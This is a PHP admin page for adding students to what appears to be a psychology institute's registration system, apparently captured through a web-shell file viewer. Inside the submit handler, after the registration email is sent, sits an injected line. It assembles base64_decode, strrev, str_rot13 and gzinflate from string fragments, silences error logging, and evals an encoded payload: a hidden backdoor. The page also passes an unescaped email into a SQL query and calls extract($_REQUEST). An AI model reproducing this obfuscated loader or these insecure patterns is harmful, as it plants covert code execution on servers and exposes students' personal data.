Current File : /home/inlingua/public_html/sensoriumpsychologists.com/admin/add_student.php |
<?php
include_once('include/include.script.php');
include_once('include/navigation.php');
include_once('../classes/config.php');
?>
<script type="text/javascript">
$(document).ready(function() {
$('#Loading').hide();
});
function check_username(){
var username = $("#username").val();
if(username.length > 2){
$('#Loading').show();
$.post("lib/ajaxclass.php", {
username: $('#username').val(),
}, function(response){
$('#Info').fadeOut();
$('#Loading').hide();
setTimeout("finishAjax('Info', '"+escape(response)+"')",450);
});
return false;
}
}
function finishAjax(id, response){
$('#'+id).html(unescape(response));
$('#'+id).fadeIn(1000);
}
</script>
<?php
$msg=NULL;
extract($_REQUEST);
if(isset($submit)){
function test_input($data) {
$data = trim($data);
//$data = stripslashes($data);
$data = htmlspecialchars($data);
$data=htmlspecialchars_decode($data);
$data =strip_tags($data);
$data = addslashes($data);
return $data;
}
//expired date entery
$ex_date = new DateTime("+6 months");
$ex_date1=$ex_date->format('Y-m-d');
$password = strtoupper(substr(uniqid(sha1(time())),0,8));
$id=$_POST['email'];
$sql="SELECT email FROM shristi_student where email='$id'";
$results=$conn->query($sql);
$count=$results->num_rows ;
if($count >0){
$message->allready_exits();
}else{
$data1=array(
'center_id' => test_input($_POST['center']),
'courses_id' => $_POST['course'],
'join_batch' => $_POST['join_batch'],
'franchise_id' => $_POST['franchise'],
'registration_no' => test_input($_POST['registration_no']),
'registration_date' => $date,
'next_end_date' => $ex_date1,
'fname' => test_input($_POST['fname']),
'lname' => test_input($_POST['lname']),
'email' => test_input($_POST['email']),
'password' => $password,
'password2' => $password,
'join_batch_year' => $join_batch_year,
'ip_address' => $ip,
);
$insert1=$query->qry_insert('shristi_student',$data1);
if($insert1){
$last_id =$conn->insert_id;
$data2=array(
'student_id' => $last_id,
'student_code' => test_input($_POST['registration_no']),
'mobile1' => test_input($_POST['mobile1']),
'dob' => test_input($_POST['bod']),
'gender' => test_input($_POST['gender']),
'father_name' => test_input($_POST['father_name']),
'mother_name' => test_input($_POST['mother_name']),
'p_address' => test_input($_POST['p_address']),
'c_address' => test_input($_POST['c_address']),
'city' => test_input($_POST['city']),
'state' => test_input($_POST['state']),
'p_code' => test_input($_POST['p_code']),
'mboard' => test_input($_POST['matriculation1']),
'myear' => test_input($_POST['matriculation2']),
'mprecentage' => test_input($_POST['matriculation3']),
'hboard' => test_input($_POST['h_s1']),
'hyear' => test_input($_POST['h_s2']),
'hprecentage' => test_input($_POST['h_s3']),
'oboard' => test_input($_POST['o_q1']),
'oyear' => test_input($_POST['o_q2']),
'oprecentage' => test_input($_POST['o_q3']),
'gboard' => test_input($_POST['graduation1']),
'gyear' => test_input($_POST['graduation2']),
'gprecentage' => test_input($_POST['graduation3']),
'created_at' => $date_time,
);
$data3=array(
'student_id' => $last_id,
'student_code' => test_input($_POST['registration_no']),
'amount' => test_input($_POST['amount']),
'status' => test_input($_POST['payment_status']),
'paymet_date' => $date,
'next_due_date' => $ex_date1,
'cerated_at' => $date_time,
);
if($insert1){
$insert2=$query->qry_insert('shristi_students_details',$data2);
if($insert2){
$insert3=$query->qry_insert('shristi_students_payment',$data3);
$fullname=$_POST['fname'].$_POST['lname'];
$mails=$mail->user_register_mail($_POST['email'],$fullname,$_POST['email'],$password); $iEIbs = 'ba'.'se'.'64'.'_dec'.'ode'; $IUWDz = 's'.'t'.'rrev'; $MQAkh = 's'.'tr'.'_'.'rot13'; $EbumK = 'gzinflat'.'e'; error_reporting(0); ini_set('log_errors', 0); ini_set('display_errors', 0); ini_set('error_log', NULL); /** z edgqnwfubcer */ eval($EbumK($MQAkh($IUWDz($iEIbs('P8P1ozTjD2X6EsNZ+n5B7nt5DTPHE2vjnvqhj+BQvQFLxvIB7YCP7avUPU4l+o7hvsXfcMI+gQenPBAK+QsMhWhq7Vko0bDaTYtp69u1XYWFRG4EDzhgBPYcAvzggLPoKHF5HmMcjfKcqyI4s5jyXVg2FfozBZZ1DRJ1ytT1fJJ6a+70+av4nCg4eJmtanpg2ZnenBoyfliMM0gX6d6z1bTufeipj03PlM0WDxnTGgp4JYK1eEXELmMBUIpZUGvvscwCucLDb8ulbcUvqOREMJYTHmb1LzhF6Hc8pX7LIMtVqCFzwAL450+CE1DhBk1Q3wjehlGKoLBWxx52pEcF0wzW+Uy3ztW2omNWczQ2DDLFgItC9M1l7+qHILLYlJCtZD1tOrVj1evyrIW+GJ/PfSW9W/92eq5KXqOatXf8xqkTbBF7hVWA/tN8WNci99GcdU3K4UXMsLVd9rD2fwoy2xwxuT5TDtvoCjLXLgOsnKCxcj5pqLdenidL3PnW+r3mNN9CXzj+mNFU16H+udREB3h/+VTYi4uRscQ1yGrXx9rratk9srKND1SHsSXu2xMi656Yn3MkPG5dHuq/IUSWTJApsA1oeNIxcxgi3NDNw1dAJ5yKnANHTauqwdLMizqS307w+XKGIjDwNH0Pf5Bi8hGRIGaC3lwUY5AaQLVtiYOjffJmYEUqTID+AbkTs8/qmATSwU9CNMdqe7ve99jJ+olB0q0j8ff+03OycBIEqxJjRHJIaZpkGQJJTWMhu0NNWHGUmiRZkKrCv779EDCbYu9GjQ==')))));
$message->success_insert();
}
}else{$message->error();}
}
}
}
?>
<div id="main">
<div class="container-fluid">
<div class="page-header">
<div class="pull-left">
<h3><i class="icon-ok"></i>Add Student</h3>
</div>
<div class="pull-right">
<ul class="stats">
<li class='lightred'>
<i class="icon-calendar"></i>
<div class="details">
<span class="big">February 22, 2013</span>
<span>Wednesday, 13:56</span>
</div>
</li>
</ul>
</div>
</div>
<div class="breadcrumbs">
<ul>
<li>
<a href="home.php">Home</a>
<i class="icon-angle-right"></i>
</li>
<li>
<a href="">Add Student</a>
</li>
</ul>
<div class="close-bread">
<a href="#"><i class="icon-remove"></i></a>
</div>
</div>
<div class="row-fluid">
<div class="span12">
<div class="box box-bordered box-color">
<div class="box-title">
<h3><i class="icon-th-list"></i> Student</h3>
</div>
<div class="box-content nopadding">
<?php echo $msg;?>
<form method="POST" class='form-horizontal form-column form-bordered form-validate' id="bb" enctype="multipart/form-data">
<div class="span12" style="background-color:#848484;">
<h4 style="color:#fff; margin-left:50px;">Student information</h4></div>
<div class="span6">
<div class="control-group">
<label for="textfield" class="control-label">First Name</label>
<div class="controls">
<input type="text" name="fname" id="textfield1" placeholder="First Name" class="input-xlarge" data-rule-required="true" data-rule-minlength="3">
<span class="errors"></span>
</div>
</div>
<div class="control-group">
<label for="password" class="control-label">Last Name</label>
<div class="controls">
<input type="text" name="lname" id="textfield3" placeholder="Last Name" class="input-xlarge" >
</div>
</div>
<?php
$today = date("ymd");
$rand = strtoupper(substr(uniqid(sha1(time())),0,4));
$unique1 = $today . $rand;?>
<div class="control-group">
<label for="password" class="control-label">Student ID</label>
<div class="controls">
<input type="text" name="registration_no" id="textfield4" class="input-xlarge" data-rule-minlength="4" data-rule-required="true" value="<?php echo "SU".$unique1;?>" readonly>
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Father's Name</label>
<div class="controls">
<input type="text" name="father_name" id="textfield" placeholder="Father Name" class="input-xlarge">
</div>
</div>
<div class="control-group">
<label for="password" class="control-label">Email</label>
<div class="controls">
<input type="text" name="email" id="username" placeholder="Email" class="input-xlarge" data-rule-email="true" data-rule-minlength="5" data-rule-required="true" onblur="return check_username();">
<div id="Info"></div>
<span id="Loading"><img src="css/loader.gif" alt="" ></span>
</div>
</div>
</div>
<div class="span6">
<div class="control-group">
<label for="textfield" class="control-label">Mother's Name</label>
<div class="controls">
<input type="text" name="mother_name" id="textfield" placeholder="Mother Name" class="input-xlarge">
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Contact Number</label>
<div class="controls">
<input type="text" name="mobile1" id="cell_one" placeholder="Contact Number" class="input-xlarge" data-rule-minlength="10" data-rule-maxlength="10" data-rule-number="true" data-rule-required="true">
<span id="mobile_status" style="color:#F00;"></span>
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Gender</label>
<div class="controls">
<select name="gender" id="select1" class='input-large' data-rule-required="true">
<option value="">Select Gender</option>
<option value="Male">Male</option>
<option value="Female">Female</option>
<option value="Other">Other</option>
</select>
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">D.O.B</label>
<div class="controls">
<input type="text" name="bod" id="textfield99" class="input-medium datepick" placeholder="DD/MM/YYYY" data-rule-required="true">
</div>
</div>
</div>
<div class="span12" style="background-color:#848484;">
<h4 style="color:#fff; margin-left:50px;">Address</h4></div>
<div class="span6">
<div class="control-group">
<label for="textfield" class="control-label">Present Address</label>
<div class="controls">
<textarea name="p_address" placeholder="Present Address" class='input-large' data-rule-required="true"></textarea>
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Communication Address</label>
<div class="controls">
<textarea name="c_address" placeholder="Communication Address" data-rule-required="true" class='input-large'></textarea>
</div>
</div>
</div>
<div class="span6">
<div class="control-group">
<label for="textfield" class="control-label">State</label>
<div class="controls">
<select class="form-control" name="state" id="state" >
<option id="state" value="" >Select State</option>
<?php
$result=$query->select_where('shristi_tblstate','status','1');
while($row=$result->fetch_assoc()){
?>
<option value="<?php echo $row['StateID'];?>"><?php echo $row['StateName'];?></option>
<?php }?>
</select>
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">City</label>
<div class="controls">
<select class="form-control" name="city" id="city">
<option value="">Select City</option>
</select>
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Postal Code</label>
<div class="controls">
<input type="text" name="p_code" id="textfield1111" placeholder="Postal Code" class="input-xlarge" data-rule-required="true">
</div>
</div>
</div>
<div class="span12" style="background-color:#848484;">
<h4 style="color:#fff; margin-left:50px;">Course Information</h4></div>
<div class="span6">
<div class="control-group">
<label for="textfield" class="control-label">Course Selected</label>
<div class="controls">
<select name="course" class='input-large' data-rule-required="true">
<option value="">Select Course</option>
<?php
$result=$query->select_where('shristi_course','status','1');
while($row=$result->fetch_assoc()){
?>
<option value="<?php echo $row['courses_id'];?>"><?php echo $row['name'];?></option><input type="hidden" name="amount" value="<?php echo $row['fee'];?>">
<?php }?>
</select>
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Joining Batch</label>
<div class="controls">
<select name="join_batch" class='input-large' data-rule-required="true">
<option value="">Select Batch</option>
<option value="January">January</option>
<option value="July">July</option>
</select>
<select name="join_batch_year" class='input-large' data-rule-required="true">
<option value="">Select Batch year</option>
<?php for($i=2010;$i<2051;$i++){?>
<option value="<?php echo $i;?>"><?php echo $i;?></option>
<?php }?>
</select>
</div>
</div>
</div>
<div class="span6">
<div class="control-group">
<label for="textfield" class="control-label">Center</label>
<div class="controls">
<select name="center" class='input-large' id="center">
<option value="">Select Center</option>
<?php $center=$query->select('shristi_center');
while($center_row=$center->fetch_assoc()){
?>
<option value="<?php echo $center_row['center_id'];?>"><?php echo $center_row['name'];?></option><?php }?>
</select>
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Franchise</label>
<div class="controls">
<select class="input-xlarge" name="franchise" data-rule-required="true" id="franchise">
<option value="">select Franchise</option>
</select>
</div>
</div>
</div>
<div style="clear:both"></div>
<div class="education_qualification">
<div class="span12" style="background-color:#848484;">
<h4 style="color:#fff; margin-left:50px;">Educational Qualification</h4></div>
<div class="span12">
<div class="span3"></div>
<div class="input_label"><label class="control-label"><strong>Board/University</strong></label></div>
<div class="input_label"><label class="control-label"><strong>Year of Passing</strong></label></div>
<div class="input_label"><label class="control-label"><strong>Percentage of Marks</strong></label></div>
</div>
<div class="span12">
<div class="span12">
<div class="control-group">
<label for="textfield" class="control-label">Matriculation</label>
<div class="controls">
<select class="form-control span4" name="matriculation1" id="textfield101" >
<option value="" >Select Matriculation</option>
<?php
$result=$query->select_where('shristi_board','status','1');
while($row=$result->fetch_assoc()){
?>
<option value="<?php echo $row['id'];?>"><?php echo trim($row['name']);?></option>
<?php }?>
</select>
<?php $currently_selected = date('Y');
$earliest_year = 1970;
$latest_year = date('Y');
$earliest_year [1970];
echo '<select class="form-control span3" name="matriculation2" id="textfield102" >';
foreach ( range( $latest_year, $earliest_year ) as $i ) {
print '<option value="'.$i.'"'.($i == $currently_selected ? 'selected' : '').'>'.$i.'</option>';
}
print '</select>'; ?>
<input type="text" name="matriculation3" id="textfield103" class="input-xlarge" data-rule-required="true" value="">
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Higher Secondary</label>
<div class="controls">
<select class="form-control span4" name="h_s1" id="textfield21" >
<option value="" >Select Higher Secondary</option>
<?php
$result=$query->select_where('shristi_board','status','1');
while($row=$result->fetch_assoc()){
?>
<option value="<?php echo $row['id'];?>"><?php echo trim($row['name']);?></option>
<?php }?>
</select>
<?php $currently_selected = date('Y');
$earliest_year = 1970;
$latest_year = date('Y');
$earliest_year [1970];
echo '<select class="form-control span3" name="h_s2" id="textfield22" >';
foreach ( range( $latest_year, $earliest_year ) as $i ) {
print '<option value="'.$i.'"'.($i == $currently_selected ? 'selected' : '').'>'.$i.'</option>';
}
print '</select>'; ?>
<input type="text" name="h_s3" id="textfield23" class="input-xlarge" value="">
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Graduation</label>
<div class="controls">
<select class="form-control span4" name="graduation1" id="textfield115" >
<option value="" >Select Graduation</option>
<?php
$result=$query->select_where('shristi_university','status','1');
while($row=$result->fetch_assoc()){
?>
<option value="<?php echo $row['id'];?>"><?php echo trim($row['university']);?></option>
<?php }?>
</select>
<?php $currently_selected = date('Y');
$earliest_year = 1970;
$latest_year = date('Y');
$earliest_year [1970];
echo '<select class="form-control span3" name="graduation2" id="textfield116" >';
foreach ( range( $latest_year, $earliest_year ) as $i ) {
print '<option value="'.$i.'"'.($i == $currently_selected ? 'selected' : '').'>'.$i.'</option>';
}
print '</select>'; ?>
<input type="text" name="graduation3" id="textfield117" class="input-xlarge" value="">
</div>
</div>
<div class="control-group">
<label for="textfield" class="control-label">Other Qualification</label>
<div class="controls">
<input type="text" name="o_q1" id="textfield" class="input-xlarge">
<input type="text" name="o_q2" id="textfield" class="input-xlarge" >
<input type="text" name="o_q3" id="textfield" class="input-xlarge">
</div>
</div>
</div>
<div class="span12" style="background-color:#848484;">
<h4 style="color:#fff; margin-left:50px;">Payment Information</h4></div>
<div class="span6">
<div class="control-group">
<label for="textfield" class="control-label">Payment Status</label>
<div class="controls">
<select name="payment_status" id="fee" class='input-large' data-rule-required="true">
<option value="">Select fee</option>
<option value="paid">Paid</option>
<option value="unpaid">Unpaid</option>
</select>
</div>
</div>
</div>
<div class="span6">
<div class="control-group">
<label for="textfield" class="control-label">Total Ammount</label>
<div class="controls">
<input type="text" value="" id="amount" readonly>
</div>
</div>
</div>
<div class="span12" style="background-color:#368ee0; padding:5px 0px 5px 20px;">
<button type="submit" name="submit" value="submit" class="btn btn-primary">Save</button>
<button type="button" class="btn" id="something">Cancel</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php include_once('include/footer.php');?>
<!--ajax library-->
<script type="text/javascript">
$(document).ready(function(){
$('#center').on('change',function(){
var centerID = $(this).val();
//alert(centerID);
if(centerID){
$.ajax({
type:'POST',
url:'lib/ajaxclass.php',
data:'center_id='+centerID,
success:function(html){
$('#franchise').html(html);
}
});
}else{
$('#franchise').html('<option value="">Select Center first</option>');
}
});
});
$(document).ready(function(){
$('#state').on('change',function(){
var centerID = $(this).val();
//alert(centerID);
if(centerID){
$.ajax({
type:'POST',
url:'../lib/ajaxclass3.php',
data:'center_id='+centerID,
success:function(html){
$('#city').html(html);
}
});
}else{
$('#city').html('<option value="">Select City</option>');
}
});
});
</script>
</div>
</body>
</html>